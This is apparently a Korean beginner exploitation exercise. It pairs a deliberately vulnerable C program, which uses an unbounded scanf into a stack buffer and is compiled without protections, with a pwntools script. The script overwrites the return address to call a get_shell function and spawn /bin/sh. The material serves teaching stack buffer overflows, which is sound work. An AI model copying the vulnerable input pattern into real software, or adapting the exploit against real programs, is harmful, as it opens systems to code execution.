rao.c
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void get_shell()
{
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(void)
{
char buf[0x28];
printf("Input: ");
scanf("%s", &buf);
//이 과정에서 buffer overflow가 생긴다.
return 0;
}
rao.py
from pwn import *
p = process('./rao')
elf = ELF('./rao')
get_shell = elf.symbols['get_shell']
# get_shell의 주소
payload = b'A' * 0x30 # size of buf
payload += b'B' * 0x8 # size of SFP
payload += p64(get_shell) # put return address
p.sendline(payload)
p.interactive()
#communicate with shell
실행 결과